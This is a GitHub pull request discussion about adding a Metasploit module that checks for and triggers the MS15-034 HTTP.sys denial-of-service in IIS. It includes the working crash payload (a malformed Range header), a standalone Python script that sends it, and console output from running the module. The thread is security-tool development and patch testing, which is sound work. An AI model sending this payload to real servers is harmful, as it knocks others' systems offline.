Add MS15-034 (CVE-2015-1635) https.sys Request Handling Denial-of-Service (and check) #5150

wchen-r7 · 2015-04-15T06:45:14Z

I didn't do much, I found a work-in-progress code here: http://pastebin.com/raw.php?i=ypURDPc4

I tested it and worked on my IIS:

So I ported that to Metasploit. This MSF module can do two things:

It can check if the target is vulnerable or not (if you use the check command)
It can dos the target (if you use the run command, but the check will kick in first)

Here's how you can test it:

Set up a Windows 7 SP1 box
Install IIS
Open IIS Manager, click on Default Web Site. You will see Output Caching there, double click on that, and then on the right you will see Edit Feature Settings: Make sure "Enable kernel cache" is enabled. By default it already is.
I added a .htm extension for kernel-mode caching too during testing, ~~but this may not be necessary.~~
Run the module

msf auxiliary(ms15_034_ulonglongadd) > run

[*] 192.168.1.169:80 - DOS request sent
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Of if you see me in person, you can use my box, too.

-_-

andresriancho · 2015-04-15T13:12:07Z

@wchen-r7 does this test crash the remote IIS / OS?

andresriancho · 2015-04-15T13:17:12Z

I think I've found the answer here: https://ma.ttias.be/remote-code-execution-via-http-request-in-iis-on-windows/?hn

When sending such a request, it can trigger a blue screen on the Windows Server, effectively rendering it offline.

wchen-r7 · 2015-04-15T14:16:57Z

@andresriancho Hmm it never DOS'd my IIS boxes (I had 3 for testing at the time). But let me double check again, this time I try more requests... bbl.

firefart · 2015-04-15T14:51:34Z

i tried the exploit against a bunch of servers at work and none of them crashed. Maybe you need a special configuration so the blue screen is triggered.

wchen-r7 · 2015-04-15T14:58:04Z

So Bill and I tested the code against Windows 7. I tried testing on Windows Server 2008 (32-bit) and that didn't work for me. Another box with 403 everything couldn't either. I have heard binary_raider saying the code works for Windows Server 2012: https://twitter.com/binary_raider/status/588260892707545088

wchen-r7 · 2015-04-15T15:07:58Z

Another test: 1000 requests and no DOS. Maybe like @firefart said, has to be something specific.

wchen-r7 · 2015-04-15T15:12:46Z

I found a guy saying it DOS'd for him: http://www.reddit.com/r/netsec/comments/32n3m2/cve20151635_rce_in_windows_httpsys/cqd680s

So I'm gonna go ahead and add this in the description. Thanks all.

firefart · 2015-04-15T15:14:38Z

Here is a video of a bluescreen on win2k12
https://www.youtube.com/watch?v=BlBXREzsytc&feature=youtu.be

wchen-r7 · 2015-04-15T15:16:35Z

@firefart Good find. Thanks!

firefart · 2015-04-15T15:20:10Z

tried the output caching on win2k8 but I still can't trigger the bsod. I currently have no admin access to a win2k12 to try it out :(

Meatballs1 · 2015-04-15T15:38:43Z

modules/auxiliary/scanner/http/ms15_034_ulonglongadd.rb

+      return
+    end
+
+    if !res.headers['Server'].include?('Microsoft-IIS')


People may disable the server header. So maybe null, and also false negative.

Also may spoof it :)

That's true. I think I'm just going to get rid of this check. It doesn't feel important when it has a more explicit way to check.

Thanks.

Meatballs1 · 2015-04-15T15:39:55Z

This won't cause a BSOD, try Range: bytes=18-18446744073709551615 instead

Meatballs1 · 2015-04-15T15:40:18Z

n.b. can this be written as an auxiliary/dos/ module with a check?

j-mie · 2015-04-15T15:45:41Z

You need to actually have some output caching rules enabled for this to work

Meatballs1 · 2015-04-15T15:46:47Z

Worked for me against Windows 7 with default install of IIS... Did take a few triggers to BSOD.

j-mie · 2015-04-15T15:47:54Z

What does your "Output Caching" tab show? Before I could get the exploit to work I had to add a rule to Output Caching to cache stuff to the Kernel-mode cache.

Meatballs1 · 2015-04-15T15:48:12Z

modules/auxiliary/scanner/http/ms15_034_ulonglongadd.rb

+      'Description'    => %q{
+        This module will check if your hosts are vulnerable to CVE-2015-1635 (MS15-034). A
+        vulnerability in the HTTP Protocol stack (HTTP.sys) that could result in arbitrary code
+        execution. Please note this module could potentially cause a denail-of-service against


Meatballs1 · 2015-04-15T15:50:55Z

@wchen-r7 has this covered:

Open IIS Manager, click on Default Web Site. You will see Output Caching there, double click on that, and then on the right you will see Edit Feature Settings: Make sure "Enable kernel cache" is enabled. By default it already is.

phillips321 · 2015-04-15T16:10:24Z

That youtube vid is mine, i have 2012r2x64 and 2008r2x64 here to test against. 2008r2x64 didn't blue screen, it just caused the box to lock up. 2012r2x64 resulted in BSOD. I've heard people saying caching needs to be enabled and populated to be vuln..... oh, and Hi Meatballs!

TomSellers · 2015-04-15T16:11:57Z

modules/auxiliary/scanner/http/ms15_034_ulonglongadd.rb

+    res = send_request_raw({
+      'uri' => uri,
+      'method' => 'GET',
+      'vhost'  => 'stuff',


The module has a vhost option that doesn't appear to be used. Should this be changed in order to support VIP/virtual hosts?

Actually I don't really need this, I'll get rid of this line. Thanks.

julianvilas · 2015-04-15T16:14:46Z

This is supposed to give blue screen

#Tested on Win Srv 2012R2.
import socket,sys

if len(sys.argv)<=1:   
 sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()

#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"

SendPayload(Init, Host)
SendPayload(Payload, Host)

via: https://twitter.com/PythonResponder/status/588364311422181376

* `check` to test, `run` to DoS

jvazquez-r7 · 2015-04-15T19:30:57Z

Test:

msf auxiliary(ms15_034_ulonglongadd) > set rhosts 10.6.0.96
rhosts => 10.6.0.96
msf auxiliary(ms15_034_ulonglongadd) > check
[+] 10.6.0.96:80 - The target is vulnerable.
[*] Checked 1 of 1 hosts (100% complete)
msf auxiliary(ms15_034_ulonglongadd) > run

[*] 10.6.0.96:80 - DOS request sent
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Thanks @wchen-r7 !

dmiller-nmap · 2015-04-15T20:29:37Z

modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb

+      'Description'    => %q{
+        This module will check if your hosts are vulnerable to CVE-2015-1635 (MS15-034). A
+        vulnerability in the HTTP Protocol stack (HTTP.sys) that could result in arbitrary code
+        execution. This module will try to cause a denail-of-service.


Spelling here: s/denail/denial/

ah man. I need a spell checker for my text editor.

Correction submitted: #5155

Thanks.

todb-r7 · 2015-04-15T21:38:56Z

thank YOU @wchen-r7 for the quick turnaround on the PoC.

HsSec · 2015-04-15T21:50:31Z

is it vuln possible to execute shellcode meterpreter stager ?

altonius · 2015-04-16T01:55:04Z

has anyone had any luck with running this against the WinRM service, which runs a HTTP service? could be another avenue to try.

firefart · 2015-04-16T04:31:44Z

here is a translated version of an anlysis:
https://translate.google.com/translate?hl=en&sl=zh-CN&tl=en&u=http%3A%2F%2Fblogs.360.cn%2Fblog%2Fcve_2015_6135_http_rce_analysis&sandbox=1

It says So, for iisstart.htm, lower> = 310 and <647 can stabilize the trigger BSOD (in google translate english)

Maybe we can try this out?

wchen-r7 · 2015-04-16T05:55:09Z

Yes we can try. I can work on this again this Friday.

snobu · 2015-04-16T07:30:47Z

From ‏@Lee_Holmes:

MS015-034 vulnerability requires that services use Kernel Mode Caching in http.sys. WinRM and PowerShell Remoting do not.

https://twitter.com/Lee_Holmes/status/588464652708806656

L34Rn · 2015-04-16T08:00:16Z

blue screen on 2008r2 iis7.5

Meatballs1 · 2015-04-16T08:30:10Z

From ‏@Lee_Holmes:

MS015-034 vulnerability requires that services use Kernel Mode Caching in http.sys. WinRM and PowerShell Remoting do not.

Network Discovery 5357 is also a HTTP.sys service, but was also not vuln. 😢

You can list available HTTP.sys services with netsh http show iplisten

TomSellers · 2015-04-16T15:38:23Z

I don't see any results on that command but someone on twitter, I forget who, provided this one:

netsh http show servicestate

and look for Registered URLS. This seems to provide usable data in my environment.

BleachedGorilla · 2015-04-16T16:10:57Z

Great FAQ page regarding this - https://isc.sans.edu/forums/diary/MS15034+HTTPsys+IIS+DoS+And+Possible+Remote+Code+Execution+PATCH+NOW/19583

KevinBeaumont · 2015-04-17T08:12:35Z

One note on SANS FAQ - just because something uses HTTP.sys, doesn't mean it vuln to this. Kernel Mode Caching has to be called, which is pretty rare - e.g. IIS uses it for caching static content, and that's basically it.

Also to clear up another common misconception, this is not an RCE issue. It's a single integer overflow. Stop buying into the Qualys etc hype - they're just speculating.

Meatballs1 · 2015-04-17T08:27:27Z

Doh I meant servicestate :D

N.b. pics on twitters of the tcp traffic indicates a memory leak - after the end of the response...

snobu · 2015-04-17T13:02:29Z

Easily parsable with a PowerShell oneliner.

PS> $(netsh http show servicestate) -match 'HTTP' -replace ' ', '' | select -Skip 1
HTTP://+:5985/WSMAN/
HTTP://+:47001/WSMAN/

wiredaem0n · 2015-04-17T16:25:15Z

A standalone python version.
http://pastebin.com/PpX8QS3y

@wchen-r7

Edited modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb first landed in rapid7#5150, @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys Edited modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb first landed in rapid7#5192, @joevennix's module for Safari CVE-2015-1126 Edited modules/auxiliary/gather/java_rmi_registry.rb first landed in Edited modules/auxiliary/gather/ssllabs_scan.rb first landed in rapid7#5016, add SSL Labs scanner Edited modules/auxiliary/scanner/http/goahead_traversal.rb first landed in rapid7#5101, Add Directory Traversal for GoAhead Web Server Edited modules/auxiliary/scanner/http/owa_iis_internal_ip.rb first landed in rapid7#5158, OWA internal IP disclosure scanner Edited modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb first landed in rapid7#5159, WordPress Mobile Edition Plugin File Read Vuln Edited modules/exploits/linux/http/multi_ncc_ping_exec.rb first landed in rapid7#4924, @m-1-k-3's DLink CVE-2015-1187 exploit Edited modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb first landed in rapid7#5131, WordPress Slideshow Upload Edited modules/exploits/windows/local/run_as.rb first landed in rapid7#4649, improve post/windows/manage/run_as and as an exploit (These results courtesy of a delightful git alias, here: ``` cleanup-prs = !"for i in `git status | grep modules | sed s/#.*modules/modules/`; do echo -n \"Edited $i first landed in \" && git log --oneline --first-parent $i | tail -1 | sed 's/.*Land //' && echo ''; done" ``` So that's kind of fun.

erwanlr · 2015-05-11T16:18:38Z

Small update on that one:

I was tested a client's server using a custom script and the MSF module to check it, both reported the target as vulnerable. Then, the client applied the patch and I retested it with the same stuff and cURL.

cURL reported it as fixed, the two others as vulnerable. After investigation, the remote server was still sending the cached response for my custom script and MSF based on the UserAgent being used.

e.g:

msf auxiliary(ms15_034_ulonglongadd) > check
[+] X.X.X.X:80 - The target is vulnerable.
[*] Checked 1 of 1 hosts (100% complete)


msf auxiliary(ms15_034_ulonglongadd) > set UserAgent 'Hello'
UserAgent => Hello
msf auxiliary(ms15_034_ulonglongadd) > check
[*] X.X.X.X:80 - The target is not exploitable.
[*] Checked 1 of 1 hosts (100% complete)

Not sure if this is the behaviour for all IIS or just a weird one I got :x

Anyway, it might be useful to add a random string to the UA to avoid such FP when retesting :)

wchen-r7 · 2015-05-11T16:38:57Z

Thanks for the info!

wchen-r7 · 2015-05-12T01:34:57Z

@erwanlr Hmm I'm not able to reproduce the behavior you described.

Here's the vulnerable response:

msf auxiliary(ms15_034_ulonglongadd) > check
[+] 192.168.1.138:80 - The target is vulnerable.
[*] Checked 1 of 1 hosts (100% complete)

Here's the patched response:

msf auxiliary(ms15_034_ulonglongadd) > check
[*] 192.168.1.138:80 - The target is not exploitable.
[*] Checked 1 of 1 hosts (100% complete)

Is it possible to give me more precise steps to reproduce this? (Including the server setup)

erwanlr · 2015-05-12T16:13:46Z

I retested using the exact same options (RHOSTS, VHOST and TARGETURI - was a css file -, all others were default values) and noticed that is was still reported as vulnerable whereas using cURL it wasn't.

Then, after playing with burp to determine what was going on, I found that when using the same User-Agent than the first check, the cached response was received.

I don't know the server setup unfortunately, all I can say is that it was an IIS 7.5 (but that won't really help :/)

If it was affecting all IIS, other people would have reported such weird behaviour, so I assume I just hit a unicorn :O

wchen-r7 · 2015-05-12T16:21:58Z

OK, thanks! I will keep an eye on this and try to reproduce again.

TomSellers · 2015-05-12T16:28:53Z

If I recall correctly the patch requires a reboot. If the response is cached it is unlikely to be from the target. Perhaps a proxy? Or a test against a patched but not rebooted server?

Tom

On May 12, 2015, at 11:22 AM, sinn3r notifications@github.com wrote:

OK, thanks! I will keep an eye on this and try to reproduce again.

—
Reply to this email directly or view it on GitHub.

erwanlr · 2015-05-12T16:43:44Z

Ahhh, that must be the not rebooted server case as it was fixed during testing and the client didn't inform me of such thing.

wchen-r7 added 2 commits April 15, 2015 01:37

Add MS15-034 check (CVE-2015-1635)

6f874b8

Newline

63048a7

-_-

wchen-r7 added module feature labels Apr 15, 2015

wchen-r7 changed the title ~~This module will check for MS15-034 (CVE-2015-1635) https.sys Request Handling Vulnerability~~ Add MS15-034 (CVE-2015-1635) https.sys Request Handling Vulnerability Apr 15, 2015

Match the PR title

2206ae4

andresriancho mentioned this pull request Apr 15, 2015

New plugin CVE-2015-1635 - RCE in Windows HTTP.sys andresriancho/w3af#9479

Closed

13 tasks

Update description

7a77dbc

Final update i swear

19ab71a

Meatballs1 reviewed Apr 15, 2015
View reviewed changes

TomSellers reviewed Apr 15, 2015
View reviewed changes

wchen-r7 changed the title ~~Add MS15-034 (CVE-2015-1635) https.sys Request Handling Denial-of-Service~~ Add MS15-034 (CVE-2015-1635) https.sys Request Handling Denial-of-Service (and check) Apr 15, 2015

Missing a checkcode

76d36a4

jvazquez-r7 self-assigned this Apr 15, 2015

jvazquez-r7 merged commit 76d36a4 into rapid7:master Apr 15, 2015

jvazquez-r7 added a commit that referenced this pull request Apr 15, 2015

Land #5150, @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys

3ca7d6a

* `check` to test, `run` to DoS

dmiller-nmap reviewed Apr 15, 2015
View reviewed changes

todb-r7 mentioned this pull request May 6, 2015

Various post-commit fixups #5312

Merged

Add MS15-034 (CVE-2015-1635) https.sys Request Handling Denial-of-Service (and check) #5150

Add MS15-034 (CVE-2015-1635) https.sys Request Handling Denial-of-Service (and check) #5150

Conversation

wchen-r7 commented Apr 15, 2015

andresriancho commented Apr 15, 2015

andresriancho commented Apr 15, 2015

wchen-r7 commented Apr 15, 2015

firefart commented Apr 15, 2015

wchen-r7 commented Apr 15, 2015

wchen-r7 commented Apr 15, 2015

wchen-r7 commented Apr 15, 2015

firefart commented Apr 15, 2015

wchen-r7 commented Apr 15, 2015

firefart commented Apr 15, 2015

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Meatballs1 commented Apr 15, 2015

Meatballs1 commented Apr 15, 2015

j-mie commented Apr 15, 2015

Meatballs1 commented Apr 15, 2015

j-mie commented Apr 15, 2015

Choose a reason for hiding this comment

Meatballs1 commented Apr 15, 2015

phillips321 commented Apr 15, 2015

Choose a reason for hiding this comment

Choose a reason for hiding this comment

julianvilas commented Apr 15, 2015

jvazquez-r7 commented Apr 15, 2015

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

todb-r7 commented Apr 15, 2015

HsSec commented Apr 15, 2015

altonius commented Apr 16, 2015

firefart commented Apr 16, 2015

wchen-r7 commented Apr 16, 2015

snobu commented Apr 16, 2015

L34Rn commented Apr 16, 2015

Meatballs1 commented Apr 16, 2015

TomSellers commented Apr 16, 2015

BleachedGorilla commented Apr 16, 2015

KevinBeaumont commented Apr 17, 2015

Meatballs1 commented Apr 17, 2015

snobu commented Apr 17, 2015

wiredaem0n commented Apr 17, 2015

erwanlr commented May 11, 2015

wchen-r7 commented May 11, 2015

wchen-r7 commented May 12, 2015

erwanlr commented May 12, 2015

wchen-r7 commented May 12, 2015

TomSellers commented May 12, 2015

erwanlr commented May 12, 2015